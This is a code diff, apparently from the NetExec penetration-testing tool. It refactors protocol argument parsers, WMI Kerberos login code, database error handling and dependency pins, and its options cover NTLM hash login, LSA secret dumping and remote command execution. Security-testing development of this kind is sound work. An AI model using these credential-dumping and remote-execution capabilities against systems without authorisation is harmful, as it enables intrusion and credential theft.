ssh_parser.add_argument("--ssh-timeout", help="SSH connection timeout, default is %(default)s secondes", type=int, default=15)
|
||||
ssh_parser.add_argument("--port", type=int, default=22, help="SSH port")
|
||||
ssh_parser.add_argument("--ssh-timeout", help="SSH connection timeout", type=int, default=15)
|
||||
sudo_check_arg = ssh_parser.add_argument("--sudo-check", action="store_true", help="Check user privilege with sudo")
|
||||
sudo_check_method_arg = ssh_parser.add_argument("--sudo-check-method", action=get_conditional_action(_StoreAction), make_required=[], choices={"sudo-stdin", "mkfifo"}, default="sudo-stdin", help="method to do with sudo check, default is '%(default)s (mkfifo is non-stable, probably you need to execute once again if it failed)'")
|
||||
ssh_parser.add_argument("--get-output-tries", help="Number of times with sudo command tries to get results, default is %(default)s", type=int, default=5)
|
||||
sudo_check_method_arg = ssh_parser.add_argument("--sudo-check-method", action=get_conditional_action(_StoreAction), make_required=[], choices={"sudo-stdin", "mkfifo"}, default="sudo-stdin", help="method to do with sudo check (mkfifo is non-stable, probably you need to execute once again if it failed)'")
|
||||
ssh_parser.add_argument("--get-output-tries", type=int, default=5, help="Number of times with sudo command tries to get results")
|
||||
sudo_check_method_arg.make_required.append(sudo_check_arg)
|
||||
|
||||
cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||
cgroup.add_argument("--codec", default="utf-8",
|
||||
help="Set encoding used (codec) from the target's output (default "
|
||||
"'utf-8'). If errors are detected, run chcp.com at the target, "
|
||||
"map the result with "
|
||||
"https://docs.python.org/3/library/codecs.html#standard-encodings and then execute "
|
||||
"again with --codec and the corresponding codec")
|
||||
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
from pathlib import Path
|
||||
from sqlalchemy import MetaData, Table
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -74,7 +74,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
@@ -1,6 +1,9 @@
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
vnc_parser = parser.add_parser("vnc", help="own stuff using VNC", parents=[std_parser, module_parser])
|
||||
vnc_parser.add_argument("--port", type=int, default=5900, help="Custom VNC port")
|
||||
from nxc.helpers.args import DisplayDefaultsNotNone
|
||||
|
||||
|
||||
def proto_args(parser, parents):
|
||||
vnc_parser = parser.add_parser("vnc", help="own stuff using VNC", parents=parents, formatter_class=DisplayDefaultsNotNone)
|
||||
vnc_parser.add_argument("--port", type=int, default=5900, help="VNC port")
|
||||
vnc_parser.add_argument("--vnc-sleep", type=int, default=5, help="VNC Sleep on socket connection to avoid rate limit")
|
||||
|
||||
egroup = vnc_parser.add_argument_group("Screenshot", "VNC Server")
|
||||
|
||||
@@ -3,7 +3,7 @@ from sqlalchemy.dialects.sqlite import Insert
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table, select, func, delete
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -94,7 +94,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
winrm_parser = parser.add_parser("winrm", help="own stuff using WINRM", parents=[std_parser, module_parser])
|
||||
from nxc.helpers.args import DisplayDefaultsNotNone
|
||||
|
||||
|
||||
def proto_args(parser, parents):
|
||||
winrm_parser = parser.add_parser("winrm", help="own stuff using WINRM", parents=parents, formatter_class=DisplayDefaultsNotNone)
|
||||
winrm_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
winrm_parser.add_argument("--port", nargs="+", default=["5985", "5986"], help="Custom WinRM port, default is %(default)s, format: 'http-port https-port'(with space separated) or 'single-port'"
|
||||
"(http & https will use same port when given single port)")
|
||||
winrm_parser.add_argument("--check-proto", nargs="+", default=["http", "https"], help="Choose what prorocol you want to check, default is %(default)s, format: 'http https'(with space separated) or 'single-protocol'")
|
||||
winrm_parser.add_argument("--port", nargs="+", default=["5985", "5986"], help="WinRM port - format: 'http-port https-port'(with space separated) or 'single-port' (http & https will use same port when given single port)")
|
||||
winrm_parser.add_argument("--check-proto", nargs="+", default=["http", "https"], help="Choose what prorocol you want to check - format: 'http https'(with space separated) or 'single-protocol'")
|
||||
winrm_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
|
||||
winrm_parser.add_argument("--http-timeout", dest="http_timeout", type=int, default=10, help="HTTP timeout for WinRM connections")
|
||||
|
||||
@@ -17,7 +19,7 @@ def proto_args(parser, std_parser, module_parser):
|
||||
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
|
||||
cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default: utf-8). If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
|
||||
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
|
||||
cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
|
||||
|
||||
+19
-19
@@ -1,5 +1,4 @@
|
||||
import os
|
||||
import logging
|
||||
|
||||
from io import StringIO
|
||||
from datetime import datetime
|
||||
@@ -62,8 +61,10 @@ class wmi(connection):
|
||||
)
|
||||
|
||||
def create_conn_obj(self):
|
||||
connection_target = fr"ncacn_ip_tcp:{self.remoteName}[{self.port!s}]"
|
||||
self.logger.debug(f"Creating WMI connection object to {connection_target}")
|
||||
try:
|
||||
rpctansport = transport.DCERPCTransportFactory(fr"ncacn_ip_tcp:{self.remoteName}[{self.port!s}]")
|
||||
rpctansport = transport.DCERPCTransportFactory(connection_target)
|
||||
rpctansport.set_credentials(username="", password="", domain="", lmhash="", nthash="", aesKey="")
|
||||
rpctansport.setRemoteHost(self.host)
|
||||
rpctansport.set_connect_timeout(self.args.rpc_timeout)
|
||||
@@ -73,9 +74,10 @@ class wmi(connection):
|
||||
dce.bind(MSRPC_UUID_PORTMAP)
|
||||
dce.disconnect()
|
||||
except Exception as e:
|
||||
self.logger.debug(str(e))
|
||||
self.logger.debug(f"Received error creating WMI connection object: {e}")
|
||||
return False
|
||||
else:
|
||||
self.logger.debug(f"Successfully created WMI connection object to {connection_target}")
|
||||
self.conn = rpctansport
|
||||
return True
|
||||
|
||||
@@ -152,14 +154,11 @@ class wmi(connection):
|
||||
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Received error while checking admin: {e}")
|
||||
if "dcom" in locals():
|
||||
dcom.disconnect()
|
||||
|
||||
if "KDC_ERR_PREAUTH_FAILED" in str(e):
|
||||
self.logger.fail("KDC_ERR_PREAUTH_FAILED returned - check if Kerberos and DNS are working!")
|
||||
elif "access_denied" not in str(e).lower():
|
||||
if "access_denied" not in str(e).lower():
|
||||
self.logger.fail(str(e))
|
||||
return False
|
||||
else:
|
||||
if not flag or not self.stringBinding:
|
||||
dcom.disconnect()
|
||||
@@ -185,7 +184,7 @@ class wmi(connection):
|
||||
self.admin_privs = True
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
logging.getLogger("impacket").disabled = True
|
||||
self.logger.debug("Starting WMI login with Kerberos")
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
self.password = password
|
||||
@@ -205,37 +204,39 @@ class wmi(connection):
|
||||
|
||||
if useCache and kerb_pass == "":
|
||||
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
|
||||
self.logger.debug(f"Using ccache from {ccache}")
|
||||
username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0]
|
||||
self.username = username
|
||||
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
|
||||
try:
|
||||
self.logger.debug(f"Attempting to connect via WMI to {self.host}")
|
||||
self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey)
|
||||
self.conn.setRemoteHost(self.host)
|
||||
self.conn.set_kerberos(True, kdcHost)
|
||||
dce = self.conn.get_dce_rpc()
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.connect()
|
||||
dce.bind(MSRPC_UUID_PORTMAP)
|
||||
except Exception as e:
|
||||
dce.disconnect()
|
||||
error_msg = str(e).lower()
|
||||
self.logger.debug(error_msg)
|
||||
self.logger.debug(f"WMI errored while connecting: {error_msg}")
|
||||
if "unpack requires a buffer of 4 bytes" in error_msg:
|
||||
error_msg = "Kerberos authentication failure"
|
||||
out = f"{self.domain}\\{self.username}{used_ccache} {error_msg}"
|
||||
self.logger.fail(out)
|
||||
elif "kerberos sessionerror" in str(e).lower():
|
||||
elif "kerberos sessionerror" in error_msg:
|
||||
out = f"{self.domain}\\{self.username}{used_ccache} {next(iter(e.getErrorString()))}"
|
||||
self.logger.fail(out, color="magenta")
|
||||
return False
|
||||
else:
|
||||
out = f"{self.domain}\\{self.username}{used_ccache} {e!s}"
|
||||
self.logger.fail(out, color="red")
|
||||
return False
|
||||
else:
|
||||
try:
|
||||
# Get data from rpc connection if got vaild creds
|
||||
self.logger.debug("Got valid creds, trying to get data from RPC connection")
|
||||
entry_handle = epm.ept_lookup_handle_t()
|
||||
request = epm.ept_lookup()
|
||||
request["inquiry_type"] = 0x0
|
||||
@@ -257,12 +258,11 @@ class wmi(connection):
|
||||
return False
|
||||
else:
|
||||
self.doKerberos = True
|
||||
if self.check_if_admin():
|
||||
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
return True
|
||||
self.check_if_admin()
|
||||
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
dce.disconnect()
|
||||
return False
|
||||
return True
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
self.password = password
|
||||
|
||||
@@ -2,7 +2,7 @@ from pathlib import Path
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -66,7 +66,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", parents=[std_parser, module_parser], conflict_handler="resolve")
|
||||
def proto_args(parser, parents):
|
||||
wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", conflict_handler="resolve", parents=parents)
|
||||
wmi_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
wmi_parser.add_argument("--port", type=int, choices={135}, default=135, help="WMI port (default: 135)")
|
||||
wmi_parser.add_argument("--rpc-timeout", help="RPC/DCOM(WMI) connection timeout, default is %(default)s seconds", type=int, default=2)
|
||||
|
||||
Generated
+94
-107
@@ -59,42 +59,41 @@ files = [
|
||||
|
||||
[[package]]
|
||||
name = "aiosmb"
|
||||
version = "0.4.10"
|
||||
version = "0.4.4"
|
||||
description = "Asynchronous SMB protocol implementation"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
files = [
|
||||
{file = "aiosmb-0.4.10-py3-none-any.whl", hash = "sha256:8b6f4c586fcd4e757e31aa3ea5a17060d9355d8994011ff6040acc18c578c023"},
|
||||
{file = "aiosmb-0.4.10.tar.gz", hash = "sha256:b8de656e1b8fb7d6b1a766534f10e01ee0d1c254235c03449063e04092f5a3dd"},
|
||||
{file = "aiosmb-0.4.4-py3-none-any.whl", hash = "sha256:ed70967243ec6634ac443de4e048c666f372ec863e49e8a2c1e01d640989f95e"},
|
||||
{file = "aiosmb-0.4.4.tar.gz", hash = "sha256:20620498cf5e6794fea29ddcb46afbda8cbf714e3cf8e1da149699f03453637f"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
asn1crypto = "*"
|
||||
asyauth = ">=0.0.16"
|
||||
asysocks = ">=0.2.9"
|
||||
asyauth = ">=0.0.8"
|
||||
asysocks = ">=0.2.2"
|
||||
colorama = "*"
|
||||
cryptography = "*"
|
||||
minikerberos = ">=0.3.5"
|
||||
prompt-toolkit = ">=3.0.2"
|
||||
six = "*"
|
||||
tqdm = "*"
|
||||
unicrypto = ">=0.0.10"
|
||||
unicrypto = ">=0.0.9"
|
||||
wcwidth = "*"
|
||||
winacl = ">=0.1.8"
|
||||
winacl = ">=0.1.5"
|
||||
|
||||
[[package]]
|
||||
name = "aiosqlite"
|
||||
version = "0.19.0"
|
||||
version = "0.17.0"
|
||||
description = "asyncio bridge to the standard sqlite3 module"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
python-versions = ">=3.6"
|
||||
files = [
|
||||
{file = "aiosqlite-0.19.0-py3-none-any.whl", hash = "sha256:edba222e03453e094a3ce605db1b970c4b3376264e56f32e2a4959f948d66a96"},
|
||||
{file = "aiosqlite-0.19.0.tar.gz", hash = "sha256:95ee77b91c8d2808bd08a59fbebf66270e9090c3d92ffbf260dc0db0b979577d"},
|
||||
{file = "aiosqlite-0.17.0-py3-none-any.whl", hash = "sha256:6c49dc6d3405929b1d08eeccc72306d3677503cc5e5e43771efc1e00232e8231"},
|
||||
{file = "aiosqlite-0.17.0.tar.gz", hash = "sha256:f0e6acc24bc4864149267ac82fb46dfb3be4455f99fe21df82609cc6e6baee51"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
dev = ["aiounittest (==1.4.1)", "attribution (==1.6.2)", "black (==23.3.0)", "coverage[toml] (==7.2.3)", "flake8 (==5.0.4)", "flake8-bugbear (==23.3.12)", "flit (==3.7.1)", "mypy (==1.2.0)", "ufmt (==2.1.0)", "usort (==1.0.6)"]
|
||||
docs = ["sphinx (==6.1.3)", "sphinx-mdinclude (==0.5.3)"]
|
||||
[package.dependencies]
|
||||
typing_extensions = ">=3.7.2"
|
||||
|
||||
[[package]]
|
||||
name = "aiowinreg"
|
||||
@@ -1555,17 +1554,17 @@ files = [
|
||||
|
||||
[[package]]
|
||||
name = "pyasn1-modules"
|
||||
version = "0.3.0"
|
||||
description = "A collection of ASN.1-based protocols modules"
|
||||
version = "0.2.8"
|
||||
description = "A collection of ASN.1-based protocols modules."
|
||||
optional = false
|
||||
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7"
|
||||
python-versions = "*"
|
||||
files = [
|
||||
{file = "pyasn1_modules-0.3.0-py2.py3-none-any.whl", hash = "sha256:d3ccd6ed470d9ffbc716be08bd90efbd44d0734bc9303818f7336070984a162d"},
|
||||
{file = "pyasn1_modules-0.3.0.tar.gz", hash = "sha256:5bd01446b736eb9d31512a30d46c1ac3395d676c6f3cafa4c03eb54b9925631c"},
|
||||
{file = "pyasn1-modules-0.2.8.tar.gz", hash = "sha256:905f84c712230b2c592c19470d3ca8d552de726050d1d1716282a1f6146be65e"},
|
||||
{file = "pyasn1_modules-0.2.8-py2.py3-none-any.whl", hash = "sha256:a50b808ffeb97cb3601dd25981f6b016cbb3d31fbf57a8b8a87428e6158d0c74"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
pyasn1 = ">=0.4.6,<0.6.0"
|
||||
pyasn1 = ">=0.4.6,<0.5.0"
|
||||
|
||||
[[package]]
|
||||
name = "pycodestyle"
|
||||
@@ -1798,25 +1797,25 @@ kerberos = ["pyspnego[kerberos]"]
|
||||
|
||||
[[package]]
|
||||
name = "pypykatz"
|
||||
version = "0.6.9"
|
||||
version = "0.6.6"
|
||||
description = "Python implementation of Mimikatz"
|
||||
optional = false
|
||||
python-versions = ">=3.6"
|
||||
files = [
|
||||
{file = "pypykatz-0.6.9-py3-none-any.whl", hash = "sha256:ea5f43e0e754aacaa47510003c88bc65be2099b08812390b5a83b01aff61b1df"},
|
||||
{file = "pypykatz-0.6.9.tar.gz", hash = "sha256:5e78b671823e0724c5483bee5870d4f7b2a58f031edda4fb3fe5488abea4b64b"},
|
||||
{file = "pypykatz-0.6.6-py3-none-any.whl", hash = "sha256:c2167c06c6e0992b721e5c9e572fc4a847099bca2b179c65d820280cb0d344f9"},
|
||||
{file = "pypykatz-0.6.6.tar.gz", hash = "sha256:7cf7842937d12f5e36448312431a41c88032d3db179660e32004e291cf3622ec"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
aesedb = ">=0.1.4,<=0.2.0"
|
||||
aiosmb = ">=0.4.8,<=0.5.0"
|
||||
aiowinreg = ">=0.0.10,<=0.1.0"
|
||||
minidump = ">=0.0.21,<=0.1.0"
|
||||
minikerberos = ">=0.4.1,<=0.5.0"
|
||||
msldap = ">=0.5.7,<=0.6.0"
|
||||
aesedb = ">=0.1.3"
|
||||
aiosmb = ">=0.4.4"
|
||||
aiowinreg = ">=0.0.7"
|
||||
minidump = ">=0.0.21"
|
||||
minikerberos = ">=0.4.0"
|
||||
msldap = ">=0.4.7"
|
||||
tqdm = "*"
|
||||
unicrypto = ">=0.0.10,<=0.1.0"
|
||||
winacl = ">=0.1.7,<=0.2.0"
|
||||
unicrypto = ">=0.0.10"
|
||||
winacl = ">=0.1.6"
|
||||
|
||||
[[package]]
|
||||
name = "pyspnego"
|
||||
@@ -2035,90 +2034,82 @@ files = [
|
||||
|
||||
[[package]]
|
||||
name = "sqlalchemy"
|
||||
version = "2.0.25"
|
||||
version = "1.4.50"
|
||||
description = "Database Abstraction Library"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7"
|
||||
files = [
|
||||
{file = "SQLAlchemy-2.0.25-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:4344d059265cc8b1b1be351bfb88749294b87a8b2bbe21dfbe066c4199541ebd"},
|
||||
{file = "SQLAlchemy-2.0.25-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:6f9e2e59cbcc6ba1488404aad43de005d05ca56e069477b33ff74e91b6319735"},
|
||||
{file = "SQLAlchemy-2.0.25-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:84daa0a2055df9ca0f148a64fdde12ac635e30edbca80e87df9b3aaf419e144a"},
|
||||
{file = "SQLAlchemy-2.0.25-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc8b7dabe8e67c4832891a5d322cec6d44ef02f432b4588390017f5cec186a84"},
|
||||
{file = "SQLAlchemy-2.0.25-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:f5693145220517b5f42393e07a6898acdfe820e136c98663b971906120549da5"},
|
||||
{file = "SQLAlchemy-2.0.25-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:db854730a25db7c956423bb9fb4bdd1216c839a689bf9cc15fada0a7fb2f4570"},
|
||||
{file = "SQLAlchemy-2.0.25-cp310-cp310-win32.whl", hash = "sha256:14a6f68e8fc96e5e8f5647ef6cda6250c780612a573d99e4d881581432ef1669"},
|
||||
{file = "SQLAlchemy-2.0.25-cp310-cp310-win_amd64.whl", hash = "sha256:87f6e732bccd7dcf1741c00f1ecf33797383128bd1c90144ac8adc02cbb98643"},
|
||||
{file = "SQLAlchemy-2.0.25-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:342d365988ba88ada8af320d43df4e0b13a694dbd75951f537b2d5e4cb5cd002"},
|
||||
{file = "SQLAlchemy-2.0.25-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f37c0caf14b9e9b9e8f6dbc81bc56db06acb4363eba5a633167781a48ef036ed"},
|
||||
{file = "SQLAlchemy-2.0.25-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa9373708763ef46782d10e950b49d0235bfe58facebd76917d3f5cbf5971aed"},
|
||||
{file = "SQLAlchemy-2.0.25-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d24f571990c05f6b36a396218f251f3e0dda916e0c687ef6fdca5072743208f5"},
|
||||
{file = "SQLAlchemy-2.0.25-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:75432b5b14dc2fff43c50435e248b45c7cdadef73388e5610852b95280ffd0e9"},
|
||||
{file = "SQLAlchemy-2.0.25-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:884272dcd3ad97f47702965a0e902b540541890f468d24bd1d98bcfe41c3f018"},
|
||||
{file = "SQLAlchemy-2.0.25-cp311-cp311-win32.whl", hash = "sha256:e607cdd99cbf9bb80391f54446b86e16eea6ad309361942bf88318bcd452363c"},
|
||||
{file = "SQLAlchemy-2.0.25-cp311-cp311-win_amd64.whl", hash = "sha256:7d505815ac340568fd03f719446a589162d55c52f08abd77ba8964fbb7eb5b5f"},
|
||||
{file = "SQLAlchemy-2.0.25-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:0dacf67aee53b16f365c589ce72e766efaabd2b145f9de7c917777b575e3659d"},
|
||||
{file = "SQLAlchemy-2.0.25-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b801154027107461ee992ff4b5c09aa7cc6ec91ddfe50d02bca344918c3265c6"},
|
||||
{file = "SQLAlchemy-2.0.25-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59a21853f5daeb50412d459cfb13cb82c089ad4c04ec208cd14dddd99fc23b39"},
|
||||
{file = "SQLAlchemy-2.0.25-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:29049e2c299b5ace92cbed0c1610a7a236f3baf4c6b66eb9547c01179f638ec5"},
|
||||
{file = "SQLAlchemy-2.0.25-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b64b183d610b424a160b0d4d880995e935208fc043d0302dd29fee32d1ee3f95"},
|
||||
{file = "SQLAlchemy-2.0.25-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4f7a7d7fcc675d3d85fbf3b3828ecd5990b8d61bd6de3f1b260080b3beccf215"},
|
||||
{file = "SQLAlchemy-2.0.25-cp312-cp312-win32.whl", hash = "sha256:cf18ff7fc9941b8fc23437cc3e68ed4ebeff3599eec6ef5eebf305f3d2e9a7c2"},
|
||||
{file = "SQLAlchemy-2.0.25-cp312-cp312-win_amd64.whl", hash = "sha256:91f7d9d1c4dd1f4f6e092874c128c11165eafcf7c963128f79e28f8445de82d5"},
|
||||
{file = "SQLAlchemy-2.0.25-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:bb209a73b8307f8fe4fe46f6ad5979649be01607f11af1eb94aa9e8a3aaf77f0"},
|
||||
{file = "SQLAlchemy-2.0.25-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:798f717ae7c806d67145f6ae94dc7c342d3222d3b9a311a784f371a4333212c7"},
|
||||
{file = "SQLAlchemy-2.0.25-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5fdd402169aa00df3142149940b3bf9ce7dde075928c1886d9a1df63d4b8de62"},
|
||||
{file = "SQLAlchemy-2.0.25-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:0d3cab3076af2e4aa5693f89622bef7fa770c6fec967143e4da7508b3dceb9b9"},
|
||||
{file = "SQLAlchemy-2.0.25-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:74b080c897563f81062b74e44f5a72fa44c2b373741a9ade701d5f789a10ba23"},
|
||||
{file = "SQLAlchemy-2.0.25-cp37-cp37m-win32.whl", hash = "sha256:87d91043ea0dc65ee583026cb18e1b458d8ec5fc0a93637126b5fc0bc3ea68c4"},
|
||||
{file = "SQLAlchemy-2.0.25-cp37-cp37m-win_amd64.whl", hash = "sha256:75f99202324383d613ddd1f7455ac908dca9c2dd729ec8584c9541dd41822a2c"},
|
||||
{file = "SQLAlchemy-2.0.25-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:420362338681eec03f53467804541a854617faed7272fe71a1bfdb07336a381e"},
|
||||
{file = "SQLAlchemy-2.0.25-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7c88f0c7dcc5f99bdb34b4fd9b69b93c89f893f454f40219fe923a3a2fd11625"},
|
||||
{file = "SQLAlchemy-2.0.25-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a3be4987e3ee9d9a380b66393b77a4cd6d742480c951a1c56a23c335caca4ce3"},
|
||||
{file = "SQLAlchemy-2.0.25-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2a159111a0f58fb034c93eeba211b4141137ec4b0a6e75789ab7a3ef3c7e7e3"},
|
||||
{file = "SQLAlchemy-2.0.25-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:8b8cb63d3ea63b29074dcd29da4dc6a97ad1349151f2d2949495418fd6e48db9"},
|
||||
{file = "SQLAlchemy-2.0.25-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:736ea78cd06de6c21ecba7416499e7236a22374561493b456a1f7ffbe3f6cdb4"},
|
||||
{file = "SQLAlchemy-2.0.25-cp38-cp38-win32.whl", hash = "sha256:10331f129982a19df4284ceac6fe87353ca3ca6b4ca77ff7d697209ae0a5915e"},
|
||||
{file = "SQLAlchemy-2.0.25-cp38-cp38-win_amd64.whl", hash = "sha256:c55731c116806836a5d678a70c84cb13f2cedba920212ba7dcad53260997666d"},
|
||||
{file = "SQLAlchemy-2.0.25-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:605b6b059f4b57b277f75ace81cc5bc6335efcbcc4ccb9066695e515dbdb3900"},
|
||||
{file = "SQLAlchemy-2.0.25-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:665f0a3954635b5b777a55111ababf44b4fc12b1f3ba0a435b602b6387ffd7cf"},
|
||||
{file = "SQLAlchemy-2.0.25-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ecf6d4cda1f9f6cb0b45803a01ea7f034e2f1aed9475e883410812d9f9e3cfcf"},
|
||||
{file = "SQLAlchemy-2.0.25-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c51db269513917394faec5e5c00d6f83829742ba62e2ac4fa5c98d58be91662f"},
|
||||
{file = "SQLAlchemy-2.0.25-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:790f533fa5c8901a62b6fef5811d48980adeb2f51f1290ade8b5e7ba990ba3de"},
|
||||
{file = "SQLAlchemy-2.0.25-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1b1180cda6df7af84fe72e4530f192231b1f29a7496951db4ff38dac1687202d"},
|
||||
{file = "SQLAlchemy-2.0.25-cp39-cp39-win32.whl", hash = "sha256:555651adbb503ac7f4cb35834c5e4ae0819aab2cd24857a123370764dc7d7e24"},
|
||||
